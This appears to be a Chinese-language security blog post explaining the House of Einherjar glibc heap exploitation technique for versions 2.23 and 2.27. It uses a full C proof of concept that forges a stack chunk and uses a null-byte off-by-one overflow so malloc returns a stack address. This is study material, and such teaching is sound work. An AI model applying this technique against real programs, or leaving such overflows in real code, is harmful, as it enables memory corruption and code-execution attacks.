House of Einherjar

黎 浩然/ 26 5 月, 2022/ PWN, 安全/SECURITY, 计算机/COMPUTER/ 0 comments

glibc-2.23

构造一个fake chunk,很大的fake chunk。有多大了?可以从heap到stack,或者从stack到heap,对于用unsigned整型表示chunk大小的机器来说,size是正数还是负数无关紧要。

在释放一块chunk时,如果地址相邻的另一块空间也空闲,则会合并这两块chunk。

我们可以利用这个要被释放的chunk的前一块chunk的off by one漏洞修改这个要被释放的chunk的prev size和prev in use,那么我们就可以合并都任何我们想要到的地方。

如果那个地方距离这个块的地址很远,那么我们只能伪装这个块是large bin chunk。

比如所我们想分配到下面这一个伪造的chunk所在的栈空间:

fake_chunk[0] = 0x100; // ~~prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size~~
fake_chunk[1] = 0x100; // ~~size of the chunk just needs to be small enough to stay in the small bin~~
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; // fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; // bck_nextsize

如上面所示,这个chunk我们必须能够设置每一个字节以绕过检测。

假设下面这个chunk a有off by one漏洞可以利用:

a = (uint8_t*) malloc(0x38);
int real_a_size = malloc_usable_size(a);

我们可以修改以之相邻的下一块chunk的prev size和prev in use位来得到欺骗consolidate相关的函数

这个是我们即将释放掉的chunk:

b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);

伪造前面的chunk的大小,以达到合并到很遥远的地方:

size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

更改fake chunk中的size字段以绕过验证

fake_chunk[1] = fake_size;

分配到伪造的chunk,在栈区域。

d = malloc(0x200);

注:free调用的consolidate相关的函数最多合并一前一后的chunk与刚释放的chunk,因为glibc必须总是假设更多相邻的chunks被更早地合并了。

glibc-2.27

2.27的house of einherjar和2.23没有本质上的不同,可以说基本上是一样的思路。需要在 2.27上使用house of einherjar的条件是关键tcache选项(等于没话)或者分配的chunk大于0x410使其不能放入tcachebin中。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

/*
   Credit to st4g3r for publishing this technique
   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 
*/

int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("Welcome to House of Einherjar!\\n");
	printf("Tested in Ubuntu 18.04.4 64bit.\\n");
	printf("This technique only works with disabled tcache-option for glibc or with size of b larger than 0x408, see build_glibc.sh for build instructions.\\n");
	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n");

	uint8_t* a;
	uint8_t* b;
	uint8_t* d;

	printf("\\nWe allocate 0x38 bytes for 'a'\\n");
	a = (uint8_t*) malloc(0x38);
	printf("a: %p\\n", a);
   
	int real_a_size = malloc_usable_size(a);
	printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\\n", real_a_size);

	// create a fake chunk
	printf("\\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\\n");
	printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\\n");
	printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n");
	printf("(although we could do the unsafe unlink technique here in some scenarios)\\n");

	size_t fake_chunk[6];

	fake_chunk[0] = 0x100; ~~// prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size~~
	fake_chunk[1] = 0x100; ~~// size of the chunk just needs to be small enough to stay in the small bin~~
	fake_chunk[2] = (size_t) fake_chunk; // fwd
	fake_chunk[3] = (size_t) fake_chunk; // bck
	fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
	fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize

	printf("Our fake chunk at %p looks like:\\n", fake_chunk);
  printf("prev_size (not used): %#lx\\n", fake_chunk[0]);
	printf("size: %#lx\\n", fake_chunk[1]);
	printf("fwd: %#lx\\n", fake_chunk[2]);
	printf("bck: %#lx\\n", fake_chunk[3]);
	printf("fwd_nextsize: %#lx\\n", fake_chunk[4]);
	printf("bck_nextsize: %#lx\\n", fake_chunk[5]);

	/* In this case it is easier if the chunk size attribute has a least significant byte with
	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
	 * the chunk includes the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0x4f8);
	int real_b_size = malloc_usable_size(b);

	printf("\\nWe allocate 0x4f8 bytes for 'b'.\\n");
	printf("b: %p\\n", b);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
	/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

	printf("\\nb.size: %#lx\\n", *b_size_ptr);
	printf("b.size is: (0x500) | prev_inuse = 0x501\\n");
	printf("We overflow 'a' with a single null byte into the metadata of 'b'\\n");
	/* VULNERABILITY */
	a[real_a_size] = 0; 
	/* VULNERABILITY */
	printf("b.size: %#lx\\n", *b_size_ptr);
	printf("This is easiest if b.size is a multiple of 0x100 so you "
		   "don't change the size of b, only its prev_inuse bit\\n");
	printf("If it had been modified, we would need a fake chunk inside "
		   "b where it will try to consolidate the next chunk\\n");

	// Write a fake prev_size to the end of a
	printf("\\nWe write a fake prev_size to the last %lu bytes of a so that "
		   "it will consolidate with our fake chunk\\n", sizeof(size_t));
  size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
	printf("Our fake prev_size will be %p - %p = %#lx\\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
	*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

	//Change the fake chunk's size to reflect b's new prev_size
	printf("\\nModify fake chunk's size to reflect b's new prev_size\\n");
	fake_chunk[1] = fake_size;

	// free b and it will consolidate with our fake chunk
	printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\\n");
	free(b);
	printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n", fake_chunk[1]);

	printf("\\nNow we can call malloc() and it will begin in our fake chunk\\n");
	d = malloc(0x200);
	printf("Next malloc(0x200) is at %p\\n", d);

	assert((long)d == (long)&fake_chunk[2]);
}

意到最后我们还是要修改fake chunk的size字段为fake size的

Share this Post

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注

*
*